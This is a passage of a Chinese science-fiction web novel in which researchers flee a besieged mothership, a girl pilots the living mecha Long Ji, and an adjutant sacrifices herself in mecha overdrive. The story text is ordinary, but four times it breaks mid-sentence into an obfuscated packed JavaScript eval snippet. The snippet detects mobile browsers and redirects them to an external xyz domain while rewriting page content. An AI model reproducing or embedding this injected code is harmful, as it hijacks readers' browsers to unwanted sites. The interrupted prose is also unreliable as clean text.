妹子只用力地哭了一声,之后唯有压抑在胸腔里的啜泣。她恐惧地盯着周围的同伴,有人放慢脚步看了她几眼,有人停下来试图搀扶她,还有人脚步不停,从她身边安静地绕了过去。 妹子推开想要搀扶她的手臂:“你们走吧,带走副院长……我活不了了。” 一点柔和的微光从黑暗中浮现,黎缨打开了腕部光脑的手电筒,如一尊天神站在跪坐的妹子面前。 郗灵沉默地抱走装着墨菲的玻璃罐,黎缨解下腕部光脑系在妹子的手腕上,又半蹲下身子,示意妹子爬到背上来。 妹子软着手脚爬上背:“……谢谢你。” “如果你是个男人,我只会一脚把你踹飞起来。”黎缨稳稳站起身,毫不吃力地跑回队伍最前端,“……你的体脂率有点低,科研生活有那么累?” 妹子呜咽一声:“嗯。” 黎缨不说话了。 郗灵和黎缨并排奔跑,维生导线连接着黎缨背上的妹子和郗灵怀里的博士。郗灵的体能比科研妹子好得多,她体贴地减小了奔跑时身体摇晃的幅度,玻璃罐中的营养液不再摇晃,仿佛平静的海面。 墨菲吐出一串泡泡:“……多谢。” “你别急着道谢。”郗灵开门见山,“我有话问你。” 科研妹子虚弱地抬起头,又在顷刻间倒戈,把脸埋进了黎缨的后颈。她身后奔跑的研究员们更是屁都不敢放一个,一双双眼睛直勾勾地盯着郗灵的背影。 墨菲翻了个白眼:“你问。” “‘胚胎’是不是和改良机甲有关系?”郗灵问道。 郗灵身后的研究员们猛地急刹车,墨菲恨铁不成钢地盯着他的团队,又对郗灵点点头:“是的。” “你们申请随军,是为了获取机甲战斗的数据?”郗灵又问。 这个问题比上一个温和得多,墨菲点头:“是的。” “这场战争持续了很久,你们随军的时间也很久,但‘胚胎’项目至今没有进展……瓶颈恐怕不在机甲上,而在驾驶机甲的人选上吧?”这段话是个长难句,郗灵使用了一部分母语,“所以你费尽心机赚取我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181217|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好感,只是为了让我自愿加入你们的实验,对吗?” 此话一出,所有人的呼吸都停滞了一瞬。 无数道目光或隐晦、或直白地看向墨菲,墨菲大大方方地承认道:“是,但也不是。” 黎缨的余光警惕地盯着墨菲,墨菲没有理会,一双残破的义眼倒映出郗灵的脸庞:“战争摧毁了所有人的灵魂,包括你,小姑娘。” 郗灵沉默。 “我善待你,有一部分是出于利用,但我引以为傲的从来不是‘副院长’‘博士’这类虚荣的冠冕,我从来只以‘我是一个人类’为傲。”墨菲的语速很慢,他的这段话不只说给郗灵听,“你聪明、大方、善良,又有这样一张惹人怜爱的脸,即使你只是个普通人,我也会对你表露善意,唯一的区别是,你不可能接触到有关‘胚胎’的任何情报。” 黎缨放下按在枪柄上的手。 郗灵捧着玻璃罐:“研究员们说得没错,你是个心软的人。” “智者易生懒怠,想让他们勤奋只能加以痛斥,我严厉点是对他们好。”墨菲鲜少如此吐露心声,也许他晕车的劲儿还没缓过来,“而且,我很欣慰你对我时刻抱有警惕,这份警惕是战争赋予你的创伤,但在我看来,这或许也是一种赐福——因为等你抵达中央星,你会发现那里的人都有八百个心眼子。” “我是中央星人。”黎缨冷不丁说。 墨菲噎了一下,找补道:“当然,你不包括在内,军部的人其实都挺……” “都挺四肢发达头脑简单?” “不不不,不不不……” “噗嗤!”黎缨笑了一声,宛如冰雪消融,“我逗你玩呢,博士!” 这场对话之后,一行人紧张的气氛舒缓了不少。研究员们脸上的表情不再视死如归,黎缨背上的妹子更是变本加厉地把脸埋进黎缨的后颈,吸猫一样猛猛地吸了一大口。 “上帝啊,”妹子含混地咕哝,“你闻起来好像我妈咪……她在我八岁那年去世了。” 妹子手腕上的光脑是唯一的光源,因此郗灵清晰地看到,黎缨在听到妹子的前半段话时绷紧了嘴角,又在听到后半段话时咽了咽唾沫,把刀子一样冷厉的评语咽回了肚子里。 黎缨颠了颠妹子:“别滑下去了。” 妹子幸福地冒起了粉色泡泡:“嗯呢~” 墨菲发表锐评:“狡猾的李安娜,她妈妈是被她亲手告上法庭的——她们母女俩最温情的时候只在福利医院的产房里。” 原来是个白切黑。 郗灵盯着黎缨脸上复杂的表情——起诉亲生母亲绝非一句“冷血无情”可以概括,若非无路可走,谁会在还没成年的时候起诉对自己有抚养义务的监护人? 但墨菲的补充间接证明了萧寒剑对研究院的评价——里面的人都是一群疯子。 忽然,研究员妹子腕上的光脑不再是唯一的光源了! 所有人顶着各异的表情看向通道尽头的光亮。 那是逃生出口,疏散通道的尽头! 他们即将抵达月台! 他们即将逃出生天! 8. 多少罪恶假汝之名 无需黎缨催促,所有人的脚步再次加快。当他们即将跑出通道时,有人甚至激动地摔倒在地,嘴唇和坚硬的合金地板来了个深吻。 黎缨第一个跑出通道,而后猛地停下了脚步。 郗灵跟着停下脚步,片刻后,嘴巴直接张成了“〇”型。 墨菲好容易摆脱晕车的滋味,因为郗灵的急刹又在玻璃罐里晃荡了好几下。 “小怪物!”墨菲骂骂咧咧,“你干什么——” 但是,当墨菲看清月台上的情景时,他的投诉戛然而止。 所有人陆陆续续跑出通道,又不约而同地停下脚步。 他们像被堵住的水流一样拥塞在出口处,仰起跑得通红的脸,安静地凝望压在聚能护盾上的无机士兵。 护盾闪烁着晶莹的六角蜂窝网格,将月台和入侵的机械军团层层隔开,型号各异的无机士兵如同密密麻麻的电子蝗虫,翕张着狰狞的武器端口趴伏在半球状护盾上。 月台之外是漆黑的宇宙,无机士兵的暗色械壳和宇宙融为一体,让人分不清到底是宇宙漆黑至此,还是无机士兵的数量多到遮挡了宇宙。 黎缨的嘴唇第一次苍白了:“……前线失守了?” 腕部光脑“滴滴”两声,研究员妹子抬起胳膊,替黎缨接通了电话。 “喂喂喂?喂喂喂?”通话那头的声音断断续续,“副官!黎副官!黎缨副指挥官!你听得到吗?” 黎缨镇定心神:“埃德蒙?” “情况有变,前线失守!但上将特意吩咐,一切计划照旧!”名为“埃德蒙”的报丧鸟再次发来噩耗,“我想办法挪了点能源打开月台护盾,但只能维持一分钟……地主家余粮只有这么多了!你们快想办法逃命吧!我这儿还有更重要的任务呢!” 滴滴! 黎缨还来不及回话,埃德蒙挂断了电话。 黎缨用力一咬牙,回头对满脸恐惧的研究员们下令:“上车!我只给你们半分钟时间!” 黎缨的话在这一刻比墨菲还管用,研究员们齐齐一愣,而后爆发出百米赛跑的速度,拖着大大小小的实验器械争前恐后地钻进逃生舱。 逃生舱名为“舱”,实际上形同一节没有车头的车厢。郗灵和墨菲最后上车,舱门关闭前,黎缨一只手按着挂在腰间的机甲钮,另一只手捋开郗灵湿漉漉的额发,在她的额头上印下一个克制的吻。 “活下去。”黎缨道,“别死在这里,女孩儿。” 郗灵愣神一瞬,黎缨关闭舱门。 逃生舱发出机械汽笛声,喷吐着苍白的废气和暗蓝色的电流沿轨道运行,待车速抵达起飞速度时,智驾系统在舱内大屏幕弹出一行温馨提示: 【尊敬的乘客,列车即将发车,请您回到座位坐稳扶牢,携带小孩的旅客请看护好孩子,请勿在过道停留。】 郗灵抱紧玻璃罐,墨菲吐出一串气泡。 银色轨道消失在车轮下,逃生舱引擎火力全开,尾部喷吐出长长的焰火,驱使这节载满了旅客的车厢离开母舰月台,向无垠的太空驰骋而去。 一分钟倒计时结束,无机士兵失去护盾阻拦,如一群饥饿的蝗虫向逃生舱追猎而去。 郗灵抱着玻璃罐贴在舱门窗口上。 她看到一台浅灰色的机甲振动背部的机械六翼,如一尊壮丽的天神横挡在逃生舱和机械军团之间。 待无机士兵蜂拥而至,机甲从脊椎里抽出一把鲜红如血的长刀,只一刀就挥退了汹汹而来的追兵! 这一刀划破了漆黑的太空,鲜亮艳丽如英灵的眼泪,连无情的时间也为之停滞了一瞬。 但正如昙花在一瞬的怒放后迎来凋谢,挥出惊天灭地的一刀后,灰色机甲鲜血直流,背部的甲胄片片崩解,露出一条流动着髓液的脊骨,宛如灰暗的溪流。 第一波追兵坠亡陨落,第二波追兵接踵而至。 灰色机甲接连挥出第二刀、第三刀…… “机甲暴走!”墨菲破损的义眼闪动着红芒,他对黎缨爆发出的力量表示惊叹,同时又流露出一丝难以克制的惋惜。 郗灵趴在舱门窗口上,墨菲上下浮动了两下:“亲爱的小怪物,你知道什么是‘机甲’吗?” “机甲是活的,它们是穿戴着拘束甲的生命体。”郗灵轻声道,“它们是……被人类改造的、扭曲的怪物。” “机甲是人类用来和机械帝皇抗衡的战争武器,但战争从来没有正义可言,战争只是政治的延续,是人类最极端的斗争手段之一。”墨菲巧妙地偷换了话题。 他似乎想要蛊惑郗灵,但他的语气朦胧而缥缈,让人分不清他究竟存着几分真情实意的悲哀:“郗灵,你知道这一战的意义吗?” 郗灵被墨菲的问题吸引了:“什么意义?” “萧寒剑出征三年,这场战争也持续了三年。”墨菲尖利地笑了一下。 他怆声道:“机械军团屡战屡败,但中央星发来的军令让萧寒剑迟迟不敢结束战争——多么可悲啊,战无不胜的凤凰上将,竟然因为一纸公文投鼠忌器……战争是苦难的摇篮,但人间的苦难只和人民有关!只要战争不停,那群老不死就能从火里捞出金子来!以战争之名!以正义之名!” 郗灵想起联邦商人的黑船,想起矿星工头的鞭子,深深地、深深地陷入了无言的沉默中。 这就是战争…… 这就是战争! “而机械帝皇也算准了这一点。”墨菲沙哑地说,“无机士兵不同于人类士兵,只要生产机床还在,就算麾下士兵全部死去,那位尊贵的皇帝也不会生出一丝怜悯之心——机械帝皇乐于和萧寒剑打消耗战,三年下来,有权有势者财源广进,手眼通天者稳坐金山,唯有平民鬻儿卖女、十室九空!” 墨菲停顿片刻。 他抬眼看向头顶——郗灵已经咬紧了牙关,发出令人胆颤的“咯吱”声。 那是魔鬼将要吮血,那是野兽将要出笼。 墨菲深吸一口气,再次添了一把火:“那么这一战的意义是什么呢?三年下来,精兵打成了疲兵,机械帝皇抓住了这个时机,不惜一切代价发动了最后一战——而无论胜负,机械帝皇都稳赚不亏。” “如果机械军团胜利,机械帝皇就可以收割全银河!” “如果机械军团败北,机械帝皇也最大程度地消耗了联邦的有生力量!而且无论如何,只要战争结束,萧寒剑必然被中央星降罪,因为中央星那群老不死,根本不想结束这场可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181218|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以大肆敛财的战争!” “这是一场阳谋,孩子。”墨菲轻声总结。 军部是研究院的死对头,但中央星的手段太肮脏,他一边为萧寒剑接下来的遭遇幸灾乐祸,一边又难免有些兔死狐悲。 智慧让人类摘取真理的硕果,又让同胞彼此厮杀、血流成河。 联邦号称战争乃正义之行,但古往今来,多少罪恶假汝之名! 而他呢? 他对郗灵的蛊惑又有几分正义? 墨菲话语已毕,陷入良久的沉默。 但郗灵宛如一座沸腾的火山,愤怒是她心口中汹涌的岩浆,她即将释放出无尽的暴怒,要将整个宇宙埋葬进火海。 龙姬在郗灵腰间摇晃,它嗅到了愤怒的气息,和无情的战争等重,身为战争机器,它不可避免地陷入了亢奋之中。 时间一分一秒流逝。 墨菲安静地悬浮在玻璃罐中。 黎缨的灰色机甲逐渐化为一个看不清的小点,那惊艳了宇宙的血色刀光也化为再平凡不过的渺小星痕。逃生舱如壮美的银龙滑行在看不见的铁轨上,车上的所有人都在逐渐远离战争、流血和牺牲,这场逃亡之旅也即将成为一道被尘封的回忆。 墨菲松了口气,不知是释然还是惋惜。 但郗灵突然开口:“我要上战场。” 墨菲抬起头。 郗灵的面容平静如无风的水面,即使隔着罐中粼粼的溶液也看不出一丝波澜。 墨菲张了张嘴,罕见地开始左右脑互搏:“你别去,战争不是说着玩的,你只是个孩子。” “我知道你为什么和我说这些——你想要我的机甲驾驶数据,博士。”郗灵的语气冷静极了。 墨菲沉默。 郗灵的眼睛凝视着深沉的宇宙,而她眼底的情绪比宇宙还要深沉:“你说战争是罪恶的,这没错,但总要有人结束它。我相信上将是心甘情愿打这一仗的,即使这一仗是个陷阱,但她还是义无反顾地上了前线——不止是上将,任何一个走上战场的士兵都是伟大的,他们把种族安危置于个人生死之上,即使战争的本质是一场庸俗的阴谋,但他们做出了无愧于良知的选择,他们都是好样的。” 墨菲再次沉默。 他艰难地劝阻:“小怪物,你再好好想想……” “我已经想清楚了,我要上战场。”郗灵低头看向墨菲。 墨菲终于看到了郗灵的眼睛。 那是一双冬风般凛冽的眼睛,战争的号角已然吹响,年轻的战士应该奔赴战场了。 墨菲得偿所愿,但他不存在的心脏第一次幻痛了起来。 “请你帮助我,博士。”郗灵请求道,“至少……我不能让黎副官一个人殿后,我想帮帮她,即使只能帮到她一点点。” 墨菲闭上双眼。 片刻后,他睁开双眼,对一旁竖耳旁听的研究员道:“李安娜,把试作Ⅶ型拿出来,销毁里面的胚胎,它已经没用了。” 研究员妹子顶着胸口的大洞开始操作。 郗灵忍不住问:“你要做什么?” “给你的机甲换套新装备。”墨菲答,“机甲传奇,船新版本,只需体验三分钟,你一定会爱上它。” 9. 试作型二代机甲 李安娜简直可以评为研究院今年的敬业标兵了,她顶着胸口的大洞,维生器械的管子插满身上的窍孔,任劳任怨地执行着来自副院长的指令。 郗灵好奇地探去脑袋,发现李安娜手中的东西和机甲钮非常相似。 李安娜将一根纤细的探针探进机甲钮窍孔,几番操作后递给郗灵:“给。” 郗灵小心地接过机甲钮。 这枚机甲钮和龙姬那枚截然不同,它如同一只死物静静地躺在郗灵手心中,失去了所有鸟儿般窸窣的动静。 “它现在是一只空壳了。”墨菲解释道,“把你的机甲钮拿出来,两枚机甲钮对准彼此的窍孔,机甲胚胎会自动转移到新机甲钮里。” 郗灵拿着那枚空壳机甲钮,突然意识到那根探针就是销毁胚胎的工具。 她按照墨菲的指示将两枚机甲钮的窍孔贴在一起,龙姬的胚胎窸窣颤动,从老机甲钮移动到了新机甲钮中。 “耶噫!”郗灵听到一个细声细气的声音,“新房子!” 幻觉? “……难以想象,我竟然真的找到了合适的人选。”郗灵拿着机甲钮怔神,墨菲漂浮在玻璃罐里,非人的义眼闪烁着红芒,“我需要一个从未接受训练的天才,但大家族的天才不会屈尊,军部士兵又并非一张白纸……我甚至考虑过向‘主脑’求助,它的主机房存储着大量优质克隆体。” 墨菲这段话没有使用郗灵的母语,这是一段近乎呓语的独白。 “所幸,我等来了你,郗灵。”墨菲柔和地看着郗灵,他鲜少如此柔和,“你是‘胚胎’项目的救星,是结束战争的希望,是……全人类的黎明。” 郗灵把疲惫的李安娜扶到座位上,扭头对呢喃自语的墨菲问道:“接下来我要做什么?” “穿上特制战斗服,一会儿我们会把你投放到太空里。”墨菲回神,脸上的柔和转瞬间化为科研者的清傲。 郗灵照做。 郗灵是从战场上活下来的人,她在这种紧急时刻没有羞耻的概念。当她快速脱下衣服时,几个男研究员“嗷”地发出一声尖叫,通红着脸塌缩着肩膀背过身去,尴尬到眼睛都不知道该往哪里看。 “我换好了。”郗灵道。 “去气闸舱。”墨菲道。 战斗服上有特制对讲麦,郗灵进入气闸舱后就和车厢内的众人隔离开,但墨菲的声音仍然清晰地从耳麦中传来:“泄压完成后,你面前的舱门就会开启,你需要提前戴好氧气头盔,激活机甲钮释放机甲——如果你的同步率足够高,你的机甲会主动把你收容进驾驶舱的。” 郗灵戴上氧气头盔:“什么是同步率?” “你的母星有灵魂这个概念吗?”墨菲问。 “有的。”郗灵答。 “机甲的本质是穿戴着‘盔甲’的‘生物’——‘盔甲’是外覆拘束装甲,‘生物’是一具没有灵魂的肉身。”墨菲三言两语道破了机甲的秘密,“联邦有许多种机甲,比如家政型,陪伴型,战斗型等等。你即将驾驶的这台机甲是一台战斗型机甲,因为其体型过于巨大,人类要想驱使这具没有灵魂的肉身十分困难,同步率这一概念也由此而生。” 气闸舱开始泄压,郗灵垂下眼睛,隔着头盔安静地看着腰间的机甲钮。 龙姬……没有灵魂? “机甲师就是机甲的灵魂。”墨菲继续道,“你和机甲的适配程度越高,你就越能得心应手地驱使这台机甲,这种适配程度量化成数字就是同步率,同步率的理论值在0%~100%之间。” 泄压阀门发出刺耳的汽声,郗灵看着缓缓开启的舱门:“这么说来,驾驶机甲更重要的是高同步率?既然如此,你为什么选中了我?” “第一,你的身体足够强悍,即使实验失败,抢救回来的概率也更大。”墨菲毫不掩饰地答,“第二……你凭什么认为,你的同步率不高?” 郗灵一愣。 墨菲仰头看着舱内大屏幕,即使隔着高透玻璃和溶液粼粼的水光,他也能清晰地看到,龙姬的机甲钮正在郗灵的腰间兴奋地颤抖。 “你是使骸骨复活的灵。”墨菲吐出一句低沉的箴言,“去吧,亲爱的小怪物,在你的天空、你的宇宙翱翔吧!” 舱门完全开启,一切噪音被真空吞噬,宇宙以阒寂荒凉之姿,毫无遮挡地映入郗灵眼帘。 郗灵并不知道如何激活机甲钮,但她看着身前的宇宙,不受控制地向前迈出一步。 ——墨菲说得没错,她宛如一只渴望振翅的飞鸟,而这无垠的宇宙正是她的天空。 嗡! 郗灵腰间的机甲钮嗡鸣一声,柔和的白光从窍孔上乍现。 那白光在郗灵的注视下扩散、延伸,待白光散去,龙姬覆盖着冰冷的白色甲胄,如一位俊美的钢铁巨人飘浮在宇宙中,向郗灵伸来了一只坚硬的铁手。 “它的驾驶舱位于胸腔处,从身体前方开口,向后连接着它的脊椎神经。”墨菲的声音带着强行压抑的颤抖,他宏伟的蓝图即将实现冰山一角,“快进去,小怪物,它已经打开驾驶舱了!” 郗灵看向龙姬,龙姬果然已经打开了胸甲,原本应该充满内脏的胸腔中,唯有一个可容纳一人的空洞,机械舱壁嵌在空洞上,仿佛一只金属打造的子宫。 龙姬是一个活物,一个生命体,但它的内脏去了哪里?它在成为机甲前又经历了怎样的改造?郗灵无从知晓。 “龙姬……”郗灵呢喃一声,胸中翻涌着复杂的情绪。 郗灵在研究员们的注视下钻进驾驶舱。 龙姬关闭舱门。 下一秒,淡琥珀色的溶液从舱体底部的阀口中流出,郗灵盯着快速上涨的溶液,发现这溶液她并非没有接触过。 “摘下头盔。”墨菲下达指令。 “舱里的液体是什么?”郗灵问。 “人造羊水和机甲脊髓液的混合液体,我把它称为‘母液’。”墨菲的语气轻快极了,他的心情在这一刻好得无可复加,“人造羊水你应该接触过,毕竟你已经躺过医疗舱了。至于脊髓液……驾驶机甲的原理是通过机甲脊椎控制整台机甲,脊髓液渗漏属于正常现象。” “我该怎么驾驶机甲?” “你自己摸索。” “?” “你现在驾驶的这台机甲是试作型二代生物机甲,它和联邦现有的一代生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181219|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物机甲完全不同。”墨菲凝望太空中的龙姬,它正在缓慢地飘离逃生舱,如一颗洁白的星星向星域战场飘去,“一代机甲有一个复杂的操作台,上面有327个操作部件,因此新手机甲师至少需要半年才能熟悉驾驶功能——你可以理解为手动挡。” 郗灵摘下头盔,在母液中吐出肺中最后一口空气。 她尝试说话:“那么二代机甲呢?” “母液就是你驾驶机甲的媒介。”墨菲道,“母液可以交换你和机甲的生物电信号,按照我的设想,你动一动脑子,机甲就会完成相应的指令——你可以理解为自动挡。” 郗灵沉默。 机甲是活的,她在这一刻彻底理解了这一概念。 她所在的驾驶舱位于龙姬的胸腔中,从她进入驾驶舱的那一刻起,她的耳边一直萦绕着一种嘹亮的巨响。 咚咚! 咚咚! 咚咚! 龙姬的内脏不知所踪,但它的心脏还在跳动。随着母液灌满驾驶舱,那嘹亮的心跳声在液体传导中变得沉闷,却丝毫不掩激动之情,随着时间的流逝变得愈发激昂。 机甲没有灵魂? 郗灵在母液中闭上双眼——不,她相信龙姬拥有自己的灵魂! 墨菲是一位智慧的学者,但他是80%的铁人,唯一的人类部位只剩下一颗人脑。他用数据和推演总结出一条又一条理论,但生命是宇宙中最大的奇迹,怎可用公式和数字轻易计算? 郗灵回忆起龙姬从天而降的一幕。 唯有自由的灵魂会挣脱牢笼!唯有自由的灵魂会渴望天空!龙姬在机甲钮中久不见天日,如果它没有渴望自由的灵魂,它绝不会打开机甲钮飞入宇宙,乃至一路流浪到郗灵所在的矿星! 母液翻涌着晶莹的气泡,宇宙中静默飘浮的龙姬突然浑身一颤。 龙姬已经飘出去很远,从墨菲的视角看如同一粒雪白的星星,它的细节墨菲已经看不清楚,只能勉强分辨出四肢、躯干和头颅。 宇宙阒寂如墓园,生命只是间或燃烧的磷火。 但下一秒,一团生命的磷火熊熊燃烧! 墨菲惊愕地看着太空中的龙姬——它浑身燃烧起猩红的火焰,那火焰从装甲接缝处一缕缕溢出,眨眼间形成汹汹之势,将全身的雪色装甲顶撞如烧着沸水的、跳动的壶盖,即使宇宙是一片真空,墨菲也幻听到了令人生畏的、烈火的爆燃声。 墨菲回头:“安娜!监测数据!” “副院长!”敬业标兵李安娜惊愕地看着膝盖上的迷你电脑,而黎缨的腕部光脑被她小心地放在左胸口袋里,“试作Ⅶ型暴走了!” 墨菲一愣,随即猛地扭头看向窗外。 那颗燃烧的星星已经飞走了。 墨菲的视野里唯有一片漆黑的宇宙。 研究员妹子轻声提醒:“副院长?” “第一,叫我院长。”墨菲沙哑地批评,但一瞬后,他的语气变得怅惘而欣慰,“第二……从现在起,它的代号不再叫‘试作Ⅶ型’了。” “那叫什么呢?副院长。” “龙姬。”墨菲回忆郗灵的那声呢喃,“它叫……龙姬。” 10. 烈日 “机甲一队报告,敌方右翼护卫舰集群正在加速靠近,护盾强度70%,请求支援!” “收到!机甲三队即刻前往,保持紧密阵型,准备交叉火力!” “前方战场引力紊乱,我方部分战舰推进器受影响,航速下降!” “F舰队切换备用能源模式,尝试调整航线,G航队负责牵制敌方干扰源,务必掩护前军撤离!” 星域战场前线的战况惨烈而胶着,萧寒剑坐在机甲“凤凰”的驾驶舱中,目睹敌我两军火力对冲,一团又一团爆炸的花火如璀璨的星子怒放在战场各处,绚烂之中深藏死寂。 战争啊……萧寒剑叹息一声。 “上将!上将!听到请回复!听到请回复!”萧寒剑正在怅惘出神,加密频段中突然响起一个存在感极强的男声。 萧寒剑挥舞机甲重剑:“别嚎了,埃德蒙。” “你那边撤军情况怎么样了?” “伤亡数量在预期之内,前军已经撤离,中军和后军正在依序离开主战场。”萧寒剑不在乎埃德蒙没大没小的语气,指挥部的年轻人们就是这个德行,他们都有不畏世俗的勇气和壮烈成仁的灵魂,“你们那边呢?” 埃德蒙拿头哐哐撞桌子:“卡进度了!能源不够!” 萧寒剑没说话。 她一边挥舞机甲重剑掩护前线士兵撤离,一边听埃德蒙在加密频段里鬼哭狼嚎地汇报—— “机械帝皇太阴了!他入侵了母舰系统,把动力舱段的放射性矿石通通扔进了太空!我已经丢弃了两个舱段了,但即使如此,要想让母舰飞行到最近的补给星,能源缺口还有足足17%……” “如果我炸掉母舰呢?”萧寒剑突然问。 埃德蒙打了个嗝:“嘎?” “如果我炸掉母舰呢?”萧寒剑耐心地重复了一遍,“补给星很远,但战场就在眼前,如果你能让母舰掉头……” “不行!”埃德蒙发出了锐器划过玻璃一样尖利的声音,“我!不!同!意!” “为什么?”萧寒剑问道。 “你想让母舰掉头冲向战场,通过引爆母舰,让机械军团的追兵灰飞烟灭……如果你一开始就打算这么做,我绝对举双手双脚赞成——以炸毁母舰为代价,换取我军有生力量最大程度的保存!虽然中央星那群老贱货肯定会用法院传票淹死你,但这值得!” “……” “但现在不一样了,上将!”埃德蒙的语速好比机关枪,他真的害怕萧寒剑做傻事,“我军伤亡已经如此惨重,比起打一场惨烈的胜仗,撤军才是最正确的选择。胜败乃兵家常事,虽然接下来的几年里,那群议员大概率会和你互扯头花,但这总比你违抗总统的军令,被议员们单方面泼脏水强——” “你说的我都想过。”萧寒剑轻声道,“但我只想结束这场战争。” 埃德蒙沉默。 “再为我努努力吧,埃德蒙。”萧寒剑笑道,“用你聪明绝顶的小脑瓜子想想办法,把母舰送到前线战场来。” 埃德蒙呸了一口,认命地执行萧寒剑下达的新任务。 萧寒剑听着频道里指挥部全员噼里啪啦敲键盘的声音,忽然发觉黎缨已经许久没说话了。 她道:“副官?黎缨副官?听到请回复!” “黎副官为了掩护那群科研疯子撤离,开启了机甲暴走。”埃德蒙解释道,“如果我没记错,她的暴走时长已经超过十分钟了。” 萧寒剑眸光一沉。 她继续呼叫道:“黎缨?黎缨?黎缨?” “……别喊了,我在。”黎缨的声音沙哑地响起。 黎缨状态极其不佳,但好歹意识尚存。 萧寒剑眉峰紧锁:“你那边怎么样了?” “第一批撤离的前军士兵已经路过我的坐标。”黎缨驾驶灰色机甲挥舞长刀,那把长刀已不复最初鲜亮的血色,变得和装甲剥落后露出的机甲脊椎一样灰暗,“我确认过了,他们的机甲剩余能源足以抵达最近的补给星。” 但萧寒剑并不高兴:“我是在问你,黎缨。” “我在和入侵母舰的先锋机兵交战。”黎缨安静片刻,“我……一切良好。” “你的暴走时长已经超过十分钟。” “……” “再过五分钟,我会通知指挥部对你进行强制回收。”萧寒剑冷厉地警告。 黎缨怔神一秒:“是。” 萧寒剑暂时闭麦了,她和后军部队一同为撤离的同伴殿后,容不得一丝分神。但她冰冷的话语在加密频段中留下一地冰霜,整个频道为此安静了一分钟。 埃德蒙打破沉默:“上将好凶呜呜呜!” “你看惯了她的笑脸,所以以为她生来就是个热情的家伙。”黎缨肿胀的双眼睁开一条缝,她坐在温度飙升的驾驶舱中,瞄准追来的机械军团又挥了一刀,“但如果我告诉你,刚才那副冷脸才是她本来的性格呢?” “我明白了。你那边……需要我来回收吗?” “专心掉头。”黎缨轻斥道,“你的任务更重要。” “是!” 埃德蒙闭麦了,整个加密频段不再有人声,唯有细碎窸窣的白噪音。 黎缨关闭麦克风——她已经暴走了十三分钟,这个时间已经无限逼近暴走的极限时长,无论机甲还是机甲师的负荷都即将超出承受范围,她这边产生的噪音会干扰频道里其他人交流。 机体严重过热,外覆装甲片片剥落,露出了铁甲之下狰狞的皮肤和血肉。 这是机甲本来的面貌,黎缨第一次看到时还会感到惧怕,但现在,她的心中唯余感动和悲哀。 “灰鹞。”她轻声呼唤机甲的名字,“我们一起战斗了十九年,这十九年来,你一定很痛苦吧。” 灰色机甲的机械眼灯脱落了一只,弥漫的雪白蒸汽中,一只没有外皮的裸露眼球生涩地转动。 它说:“嗡。” “教科书上说,机甲会对机甲师产生精神污染,许多人因此早亡,但我和上将竟然都活到了现在。上将是个难以望其项背的天才,可我不是。我猜……也许是因为你爱着我吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181220|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗡!” “第七军团提督,第七军团副指挥官……我和她好不容易爬到这个位子上来,如果她死了,我们这么多年的努力就白费了。如果这惨烈的战争必然献祭其中一人的生命,那么,不如献祭我的。” “……嗡。” “灰鹞,为了我,再次暴走吧!”黎缨睁开充血肿胀的双眼。 她的皮肤在高温炙烤下遍布青紫色的血管网络,全身所有的窍孔都流溢着蒸发的鲜血,她在这一刻美得像一只妖鬼,但月下起舞的妖鬼注定无法拥抱烈阳。 “上将……”黎缨的眼泪从眼角淌下,一瞬间化为细小的蒸汽,“这个烂透了的联邦……配不上你的理想……” 机甲“灰鹞”嗡鸣震颤,身上的装甲在雪白的蒸汽中加速脱落,那蒸汽在到达某个阈值后变成了朦胧的粉色,宛如汽化的鲜血,但它背部的脊椎仿佛吸食了所有流逝的生命力,从暗淡颓败的灰色一点点变成了鲜艳诡异的红色。 埃德蒙盯着指挥台大屏幕,没戴眼罩的那只独眼颤抖仓皇:“上将!黎副官二度暴走了!” 萧寒剑猛然回头:“什么?!!” 黎缨用最后的力气推动推杆,机甲灰鹞流淌着鲜血的手掌缓缓抚过暗淡的长刀,长刀在手掌的抚摸下一寸寸褪去了破碎的底色,重新焕发出艳丽澎湃的刀光。 如血,如泪,如歌。 